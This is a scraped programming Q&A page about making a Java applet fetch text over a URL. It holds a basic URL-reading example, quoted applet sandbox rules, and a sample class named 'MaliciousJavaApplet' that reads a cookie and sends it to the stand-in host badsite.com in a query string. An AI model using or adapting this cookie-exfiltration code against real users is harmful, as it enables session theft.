简体   繁体   中英

Create a simple connection to internet with java applet using URL class

I'd like to create a simple URL connection that would, for example, read content from my predefined host, in my case - localhost/applet, can you please show me how to do that? I've been googling, but so far without any noticable success.

The content of the file is some text SOME TEXT , that should then be printed in the applet.

You can do this using the URL class:

URL url;
InputStream is = null;
DataInputStream dis;
String line;
url = new URL([put a string with the local host address here. Usual is something like 127.0.0.1]); // can also just put a website to test it.
is = url.openStream();  // throws an IOException
dis = new DataInputStream(new BufferedInputStream(is));

while ((line = dis.readLine()) != null) {
    System.out.println(line); //will get each line from the text file and print it. could also put it in a variable.
}

Your question is kind of confusing, so tell me if I did not answer it. What do you mean by localhost/applet is it a java applet? or is it just a textfile name applet?? Where is the text file exactly??

Unsigned Applets

Unsigned applets can perform the following operations:

They can make network connections to the host they came from. They can easily display HTML documents using the showDocument method of the java.applet.AppletContext class. They can invoke public methods of other applets on the same page. Applets that are loaded from the local file system (from a directory in the user's CLASSPATH) have none of the restrictions that applets loaded over the network do. They can read secure system properties. See System Properties for a list of secure system properties. When launched by using JNLP, unsigned applets can also perform the following operations: They can open, read, and save files on the client. They can access the shared system-wide clipboard. They can access printing functions. They can store data on the client, decide how applets should be downloaded and cached, and much more. See JNLP API for more information about developing applets by using the JNLP API. Unsigned applets cannot perform the following operations:

They cannot access client resources such as the local filesystem, executable files, system clipboard, and printers. They cannot connect to or retrieve resources from any third party server (any server other than the server it originated from). They cannot load native libraries. They cannot change the SecurityManager. They cannot create a ClassLoader. They cannot read certain system properties. See System Properties for a list of forbidden system properties. Signed Applets

Signed applets do not have the security restrictions that are imposed on unsigned applets and can run outside the security sandbox.

import java.awt.*;
import java.io.*;
import java.net.*;
public class MaliciousJavaApplet extends java.applet.Applet {
    TextArea messageLog = new TextArea(4, 40);
    public void init() {
      setLayout(new BorderLayout());
      add("Center", messageLog);
    }
    public void start() {
      try {
                             URL url = new URL("http://www.targetsite.net/default.html");
                             URLConnection connection;
                             String inputLine;
                             BufferedReader inReader;
          connection = url.openConnection();
                             connection.setAllowUserInteraction(false);
                             connection.setDoOutput(true);
                             messageLog.append("Request Property
"+connection.getRequestProperty("cookie")+"\n");
                             messageLog.append("File read from URL " + url + ":\n");
          inReader = new BufferedReader(
                   new InputStreamReader(connection.getInputStream()));
          while (null != (inputLine = inReader.readLine())) {
             messageLog.append(inputLine + "\n");
          }
          inReader.close();
                             messageLog.append("Request Property
"+connection.getRequestProperty("cookie")+"\n");
                             String cookie;
                             cookie = connection.getRequestProperty("cookie");
                             URL url2 = new
URL("http://www.badsite.com/default.html?cookie="+cookie);
                             URLConnection connection2;
                             String inputLine2;
                             BufferedReader inReader2;
          connection2 = url2.openConnection();
                             connection2.setAllowUserInteraction(false);
                             connection2.setDoOutput(true);
                             inReader2 = new BufferedReader(
                   new InputStreamReader(connection2.getInputStream()));
          while (null != (inputLine2 = inReader2.readLine())) {
             messageLog.append(inputLine2 + "\n");
          }
          inReader2.close();
      }
      catch (IOException e) {
          System.err.println("Exception: " + e);
  }
}
}

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM